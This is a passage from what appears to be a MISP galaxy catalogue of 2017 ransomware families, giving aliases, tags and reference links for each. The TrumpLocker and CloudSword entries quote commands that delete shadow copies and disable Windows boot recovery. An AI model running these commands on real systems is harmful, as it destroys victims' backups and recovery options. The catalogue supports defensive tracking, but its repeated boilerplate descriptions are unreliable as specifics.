TrumpLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. This is the old VenusLocker in disquise .To delete shadow files use the following commend: C:\Windows\system32\wbem\wmic.exe shadowcopy delete&exit https://2.bp.blogspot.com/-8qIiBHnE9yU/WK1mZn3LgwI/AAAAAAAAD-M/ZKl7_Iwr1agYtlVO3HXaUrwitcowp5_NQCLcB/s1600/lock.jpg

The tag is: *misp-galaxy:ransomware="TrumpLocker Ransomware"*

Table 5848. Table References

Links
https://www.bleepingcomputer.com/news/security/new-trump-locker-ransomware-is-a-fraud-just-venuslocker-in-disguise/
https://id-ransomware.blogspot.co.il/2017/02/trumplocker.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-24th-2017-trump-locker-macos-rw-and-cryptomix/

Damage Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Written in Delphi

The tag is: *misp-galaxy:ransomware="Damage Ransomware"*

Table 5849. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/damage-ransomware.html
https://decrypter.emsisoft.com/damage
https://twitter.com/demonslay335/status/835664067843014656

XYZWare Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="XYZWare Ransomware"*

Table 5850. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/xyzware-ransomware.html
https://twitter.com/malwrhunterteam/status/833636006721122304

YouAreFucked Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="YouAreFucked Ransomware"*

YouAreFucked Ransomware is also known as:

- FortuneCrypt

Table 5851. Table References

Links
https://www.enigmasoftware.com/youarefuckedransomware-removal/

CryptConsole 2.0 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptConsole 2.0 Ransomware"*

Table 5852. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/cryptconsole-2-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/

BarRax Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="BarRax Ransomware"*

BarRax Ransomware is also known as:

- BarRaxCrypt Ransomware

Table 5853. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/barraxcrypt-ransomware.html
https://twitter.com/demonslay335/status/835668540367777792

CryptoLocker by NTK Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptoLocker by NTK Ransomware"*

Table 5854. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/cryptolocker-by-ntk-ransomware.html

UserFilesLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="UserFilesLocker Ransomware"*

UserFilesLocker Ransomware is also known as:

- CzechoSlovak Ransomware

Table 5855. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/userfileslocker-ransomware.html

AvastVirusinfo Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. PAYING RANSOM IS USELESS, YOUR FILES WILL NOT BE FIXED. THE DAMAGE IS PERMENENT!!!!

The tag is: *misp-galaxy:ransomware="AvastVirusinfo Ransomware"*

Table 5856. Table References

Links
https://id-ransomware.blogspot.co.il/2017_03_01_archive.html
https://id-ransomware.blogspot.co.il/2017/03/avastvirusinfo-ransomware.html

SuchSecurity Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="SuchSecurity Ransomware"*

SuchSecurity Ransomware is also known as:

- Such Security

Table 5857. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/suchsecurity-ransomware.html

PleaseRead Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="PleaseRead Ransomware"*

PleaseRead Ransomware is also known as:

- VHDLocker Ransomware

Table 5858. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/vhd-ransomware.html

Kasiski Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Kasiski Ransomware"*

Table 5859. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/kasiski-ransomware.html
https://twitter.com/MarceloRivero/status/832302976744173570
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-17th-2017-live-hermes-reversing-and-scada-poc-ransomware/

Fake Locky Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Fake Locky Ransomware"*

Fake Locky Ransomware is also known as:

- Locky Impersonator Ransomware

Table 5860. Table References

Links
https://www.bleepingcomputer.com/news/security/the-locky-ransomware-encrypts-local-files-and-unmapped-network-shares/
https://id-ransomware.blogspot.co.il/2017/02/locky-impersonator.html
https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-thor-extension-after-being-a-bad-malware/

CryptoShield 1.0 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoShield 1.0 is a ransomware from the CryptoMix family.

The tag is: *misp-galaxy:ransomware="CryptoShield 1.0 Ransomware"*

Table 5861. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/cryptoshield-2-ransomware.html
https://www.bleepingcomputer.com/news/security/cryptomix-variant-named-cryptoshield-1-0-ransomware-distributed-by-exploit-kits/

Hermes Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Filemarker: "HERMES"

The tag is: *misp-galaxy:ransomware="Hermes Ransomware"*

Table 5862. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/hermes-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-17th-2017-live-hermes-reversing-and-scada-poc-ransomware/
https://www.bleepingcomputer.com/forums/t/642019/hermes-ransomware-help-support-decrypt-informationhtml/
https://www.bleepingcomputer.com/news/security/hermes-ransomware-decrypted-in-live-video-by-emsisofts-fabian-wosar/

LoveLock Ransomware or Love2Lock Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="LoveLock Ransomware or Love2Lock Ransomware"*

LoveLock Ransomware or Love2Lock Ransomware is also known as:

- LoveLock
- Love2Lock

Table 5863. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/lovelock-ransomware.html

Wcry Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Wcry Ransomware"*

Table 5864. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/wcry-ransomware.html

DUMB Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="DUMB Ransomware"*

Table 5865. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/dumb-ransomware.html
https://twitter.com/bleepincomputer/status/816053140147597312?lang=en

X-Files

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="X-Files"*

Table 5866. Table References

Links
https://id-ransomware.blogspot.co.il/2017_02_01_archive.html
https://id-ransomware.blogspot.co.il/2017/02/x-files-ransomware.html

Polski Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The Ransom is 249$ and the hacker demands that the victim gets in contact through e-mail and a Polish messenger called Gadu-Gadu.

The tag is: *misp-galaxy:ransomware="Polski Ransomware"*

Table 5867. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/polski-ransomware.html

YourRansom Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This hacker demands that the victim contacts him through email and decrypts the files for FREE.(moreinfo in the link below)

The tag is: *misp-galaxy:ransomware="YourRansom Ransomware"*

Table 5868. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/yourransom-ransomware.html
https://www.bleepingcomputer.com/news/security/yourransom-is-the-latest-in-a-long-line-of-prank-and-educational-ransomware/
https://twitter.com/_ddoxer/status/827555507741274113

Ranion RaasRansomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ranion Raas gives the opportunity to regular people to buy and distribute ransomware for a very cheap price. (More info in the link below). RaaS service

The tag is: *misp-galaxy:ransomware="Ranion RaasRansomware"*

Table 5869. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/ranion-raas.html
https://www.bleepingcomputer.com/news/security/ranion-ransomware-as-a-service-available-on-the-dark-web-for-educational-purposes/

Potato Ransomware

Wants a ransom to get the victim's files back . Originated in English. Spread worldwide.

The tag is: *misp-galaxy:ransomware="Potato Ransomware"*

Table 5870. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/polato-ransomware.html

# of Ransomware: OpenToYou (Formerly known as OpenToDecrypt)

This ransomware is originated in English, therefore could be used worldwide. Ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.

The tag is: *misp-galaxy:ransomware="of Ransomware: OpenToYou (Formerly known as OpenToDecrypt)"*

Table 5871. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/opentodecrypt-ransomware.html

RansomPlus

Author of this ransomware is sergej. Ransom is 0.25 bitcoins for the return of files. Originated in English. Used worldwide. This ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.

The tag is: *misp-galaxy:ransomware="RansomPlus"*

Table 5872. Table References

Links
http://www.2-spyware.com/remove-ransomplus-ransomware-virus.html
https://id-ransomware.blogspot.co.il/2017/01/ransomplus-ransomware.html
https://twitter.com/jiriatvirlab/status/825411602535088129

CryptConsole

This ransomware does not actually encrypt your file, but only changes the names of your files, just like Globe Ransomware. This ransomware is spread with the help of email spam, fake ads, fake updates, infected install files

The tag is: *misp-galaxy:ransomware="CryptConsole"*

Table 5873. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/cryptconsole-ransomware.html
https://www.bleepingcomputer.com/forums/t/638344/cryptconsole-uncrypteoutlookcom-support-topic-how-decrypt-fileshta/
https://twitter.com/PolarToffee/status/824705553201057794
https://twitter.com/demonslay335/status/1004351990493741057
https://twitter.com/demonslay335/status/1004803373747572736

ZXZ Ramsomware

Originated in English, could affect users worldwide, however so far only reports from Saudi Arabia. The malware name founded by a windows server tools is called win32/wagcrypt.A

The tag is: *misp-galaxy:ransomware="ZXZ Ramsomware"*

Table 5874. Table References

Links
https://www.bleepingcomputer.com/forums/t/638191/zxz-ransomware-support-help-topic-zxz/?hl=%2Bzxz#entry4168310
https://id-ransomware.blogspot.co.il/2017/01/zxz-ransomware.html

VxLock Ransomware

Developed in Visual Studios in 2010. Original name is VxCrypt. This ransomware encrypts your files, including photos, music, MS office, Open Office, PDF… etc

The tag is: *misp-galaxy:ransomware="VxLock Ransomware"*

Table 5875. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/vxlock-ransomware.html

FunFact Ransomware

Funfact uses an open code for GNU Privacy Guard (GnuPG), then asks to email them to find out the amout of bitcoin to send (to receive a decrypt code). Written in English, can attach all over the world. The ransom is 1.22038 BTC, which is 1100USD.

The tag is: *misp-galaxy:ransomware="FunFact Ransomware"*

Table 5876. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/funfact.html
http://www.enigmasoftware.com/funfactransomware-removal/

ZekwaCrypt Ransomware

First spotted in May 2016, however made a big comeback in January 2017. It's directed to English speaking users, therefore is able to infect worldwide. Ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.

The tag is: *misp-galaxy:ransomware="ZekwaCrypt Ransomware"*

Table 5877. Table References

Links
https://id-ransomware.blogspot.co.il/2016/06/zekwacrypt-ransomware.html
http://www.2-spyware.com/remove-zekwacrypt-ransomware-virus.html

Sage 2.0 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. This ransomware attacks your MS Office by offering a Micro to help with your program, but instead incrypts all your files if the used id not protected. Predecessor CryLocker

The tag is: *misp-galaxy:ransomware="Sage 2.0 Ransomware"*

Table 5878. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/sage-2-ransomware.html

https://isc.sans.edu/forums/diary/Sage+20+Ransomware/21959/
http://www.securityweek.com/sage-20-ransomware-demands-2000-ransom
https://www.bleepingcomputer.com/news/security/sage-2-0-ransomware-gearing-up-for-possible-greater-distribution/
https://www.govcert.admin.ch/blog/27/sage-2.0-comes-with-ip-generation-algorithm-ipga

CloudSword Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. Uses the name “Window Update” to confuse its victims. Then imitates the window update process , while turning off the Window Startup Repair and changes the BootStatusPolicy using these commands: bcdedit.exe /set {default} recoveryenabled No bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

The tag is: *misp-galaxy:ransomware="CloudSword Ransomware"*

Table 5879. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/cloudsword.html
http://bestsecuritysearch.com/cloudsword-ransomware-virus-removal-steps-protection-updates/
https://twitter.com/BleepinComputer/status/822653335681593345

DN

It’s directed to English speaking users, therefore is able to infect worldwide. Uses the name “Chrome Update” to confuse its victims. Then imitates the chrome update process ,while encrypting the files. DO NOT pay the ransom, since YOUR COMPUTER WILL NOT BE RESTORED FROM THIS MALWARE!!!!

The tag is: *misp-galaxy:ransomware="DN"*

DN is also known as:

- Fake

Table 5880. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/dn-donotopen.html

GarryWeber Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. Its original name is FileSpy and FileSpy Application. It is spread using email spam, fake updates, infected attachments and so on. It encryps all your files, including: music, MS Office, etc..

The tag is: *misp-galaxy:ransomware="GarryWeber Ransomware"*

Table 5881. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/garryweber.html

Satan Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. Its original name is RAAS RANSOMWARE. It is spread using email spam, fake updates, infected attachments and so on. It encryps all your files, including: music, MS Office, Open Office, pictures etc.. This ransomware promotes other to download viruses and spread them as ransomware to infect other users and keep 70% of the ransom. (leaving the other 30% to Satan) https://3.bp.blogspot.com/-7fwX40eYL18/WH-tfpNjDgI/AAAAAAAADPk/KVP_ji8lR0gENCMYhb324mfzIFFpiaOwACLcB/s1600/site-raas.gif RaaS

The tag is: *misp-galaxy:ransomware="Satan Ransomware"*

View relationships graph

Satan Ransomware has relationships with:

- similar: misp-galaxy:malpedia="Satan" with estimative-language:likelihood-probability="likely"

Table 5882. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/satan-raas.html
https://www.bleepingcomputer.com/forums/t/637811/satan-ransomware-help-support-topic-stn-extension-help-decrypt-fileshtml/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-january-20th-2017-satan-raas-spora-locky-and-more/
https://www.bleepingcomputer.com/news/security/new-satan-ransomware-available-through-a-ransomware-as-a-service-/
https://twitter.com/Xylit0l/status/821757718885236740

Havoc

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, infected attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures , videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Havoc"*

Havoc is also known as:

- HavocCrypt Ransomware

Table 5883. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/havoc-ransomware.html

CryptoSweetTooth Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Its fake name is Bitcoin and maker’s name is Santiago. Work of the encrypted requires the user to have .NET Framework 4.5.2. on his computer.

The tag is: *misp-galaxy:ransomware="CryptoSweetTooth Ransomware"*

Table 5884. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/cryptosweettooth.html
http://sensorstechforum.com/remove-cryptosweettooth-ransomware-restore-locked-files/

Kaandsona Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The word Kaandsona is Estonian, therefore the creator is probably from Estonia. Crashes before it encrypts

The tag is: *misp-galaxy:ransomware="Kaandsona Ransomware"*

Kaandsona Ransomware is also known as:

- RansomTroll Ransomware
- Käändsõna Ransomware

Table 5885. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/kaandsona-ransomtroll.html
https://twitter.com/BleepinComputer/status/819927858437099520

LambdaLocker Ransomware

It’s directed to English and Chinese speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Python Ransomware

The tag is: *misp-galaxy:ransomware="LambdaLocker Ransomware"*

Table 5886. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/lambdalocker.html
http://cfoc.org/how-to-restore-files-affected-by-the-lambdalocker-ransomware/

NMoreia 2.0 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="NMoreia 2.0 Ransomware"*

NMoreia 2.0 Ransomware is also known as:

- HakunaMatataRansomware

Table 5887. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/hakunamatata.html
https://id-ransomware.blogspot.co.il/2016_03_01_archive.html

Marlboro Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is .2 bitcoin, however there is no point of even trying to pay, since this damage is irreversible. Once the ransom is paid the hacker does not return decrypt the files. Another name is DeMarlboro and it is written in language C++. Pretend to encrypt using RSA-2048 and AES-128 (really it's just XOR)

The tag is: *misp-galaxy:ransomware="Marlboro Ransomware"*

Table 5888. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/marlboro.html
https://decrypter.emsisoft.com/marlboro
https://www.bleepingcomputer.com/news/security/marlboro-ransomware-defeated-in-one-day/

Spora Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Sample of a spam email with a viral attachment: https://4.bp.blogspot.com/-KkJXiHG80S0/WHX4TBpkamI/AAAAAAAADDg/F_bN796ndMYnzfUsgSWMXhRxFf3Ic-HtACLcB/s1600/spam-email.png

The tag is: *misp-galaxy:ransomware="Spora Ransomware"*

Table 5889. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/spora-ransomware.html
https://blog.gdatasoftware.com/2017/01/29442-spora-worm-and-ransomware
http://blog.emsisoft.com/2017/01/10/from-darknet-with-love-meet-spora-ransomware/

CryptoKill Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The files get encrypted, but the decrypt key is not available. NO POINT OF PAYING THE RANSOM, THE FILES WILL NOT BE RETURNED.

The tag is: *misp-galaxy:ransomware="CryptoKill Ransomware"*

Table 5890. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/cryptokill-ransomware.html

All_Your_Documents Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="All_Your_Documents Ransomware"*

Table 5891. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/allyourdocuments-ransomware.html

SerbRansom 2017 Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 500$ in bitcoins. The name of the hacker is R4z0rx0r Serbian Hacker.

The tag is: *misp-galaxy:ransomware="SerbRansom 2017 Ransomware"*

Table 5892. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/serbransom-2017.html
https://www.bleepingcomputer.com/news/security/ultranationalist-developer-behind-serbransom-ransomware/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-10th-2017-serpent-spora-id-ransomware/
https://twitter.com/malwrhunterteam/status/830116190873849856

Fadesoft Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 0.33 bitcoins.

The tag is: *misp-galaxy:ransomware="Fadesoft Ransomware"*

Table 5893. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/fadesoft-ransomware.html
https://twitter.com/malwrhunterteam/status/829768819031805953
https://twitter.com/malwrhunterteam/status/838700700586684416

HugeMe Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="HugeMe Ransomware"*

Table 5894. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/hugeme-ransomware.html
https://www.ozbargain.com.au/node/228888?page=3
https://id-ransomware.blogspot.co.il/2016/04/magic-ransomware.html

DynA-Crypt Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="DynA-Crypt Ransomware"*

DynA-Crypt Ransomware is also known as:

- DynA CryptoLocker Ransomware

Table 5895. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/dyna-crypt-ransomware.html
https://www.bleepingcomputer.com/news/security/dyna-crypt-not-only-encrypts-your-files-but-also-steals-your-info/

Serpent 2017 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Serpent 2017 Ransomware"*

Serpent 2017 Ransomware is also known as:

- Serpent Danish Ransomware

Table 5896. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/serpent-danish-ransomware.html

Erebus 2017 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Erebus 2017 Ransomware"*

Table 5897. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/erebus-2017-ransomware.html
https://www.bleepingcomputer.com/news/security/erebus-ransomware-utilizes-a-uac-bypass-and-request-a-90-ransom-payment/

Cyber Drill Exercise

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Cyber Drill Exercise "*

Cyber Drill Exercise is also known as:

- Ransomuhahawhere

Table 5898. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/ransomuhahawhere.html

Cancer Ransomware FAKE

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. This is a trollware that does not encrypt your files but makes your computer act crazy (like in the video in the link below). It is meant to be annoying and it is hard to erase from your PC, but possible.

The tag is: *misp-galaxy:ransomware="Cancer Ransomware FAKE"*

Table 5899. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/cancer-ransomware.html
https://www.bleepingcomputer.com/news/security/watch-your-computer-go-bonkers-with-cancer-trollware/

UpdateHost Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Poses as Microsoft Copyright 2017 and requests ransom in bitcoins.

The tag is: *misp-galaxy:ransomware="UpdateHost Ransomware"*

Table 5900. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/updatehost-ransomware.html
https://www.bleepingcomputer.com/startups/Windows_Update_Host-16362.html

Nemesis Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 10 bitcoins.

The tag is: *misp-galaxy:ransomware="Nemesis Ransomware"*

Table 5901. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/nemesis-ransomware.html

Evil Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Domain KZ is used, therefore it is assumed that the decrypter is from Kazakhstan. Coded in Javascript

The tag is: *misp-galaxy:ransomware="Evil Ransomware"*

Evil Ransomware is also known as:

- File0Locked KZ Ransomware

Table 5902. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/evil-ransomware.html
http://www.enigmasoftware.com/evilransomware-removal/
http://usproins.com/evil-ransomware-is-lurking/
https://twitter.com/jiriatvirlab/status/818443491713884161
https://twitter.com/PolarToffee/status/826508611878793219

Ocelot Ransomware (FAKE RANSOMWARE)

It's directed to English speaking users, therefore is able to infect worldwide. This is a fake ransomware. Your files are not really encrypted, however the attacker does ask for a ransom of .03 bitcoins. It is still dangerous even though it is fake, he still go through to your computer.

The tag is: *misp-galaxy:ransomware="Ocelot Ransomware (FAKE RANSOMWARE)"*

Ocelot Ransomware (FAKE RANSOMWARE) is also known as:

- Ocelot Locker Ransomware

Table 5903. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/ocelot-ransomware.html

https://twitter.com/malwrhunterteam/status/817648547231371264

SkyName Ransomware

It's directed to Czechoslovakianspeaking users. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="SkyName Ransomware"*

SkyName Ransomware is also known as:

- Blablabla Ransomware

Table 5904. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/skyname-ransomware.html
https://twitter.com/malwrhunterteam/status/817079028725190656

MafiaWare Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 155$ inbitcoins. Creator of ransomware is called Mafia. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="MafiaWare Ransomware"*

MafiaWare Ransomware is also known as:

- Depsex Ransomware

Table 5905. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/mafiaware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-january-6th-2017-fsociety-mongodb-pseudo-darkleech-and-more/
https://twitter.com/BleepinComputer/status/817069320937345024

Globe3 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 3 bitcoins. Extesion depends on the config file. It seems Globe is a ransomware kit.

The tag is: *misp-galaxy:ransomware="Globe3 Ransomware"*

Globe3 Ransomware is also known as:

- Purge Ransomware

View relationships graph

Globe3 Ransomware has relationships with:

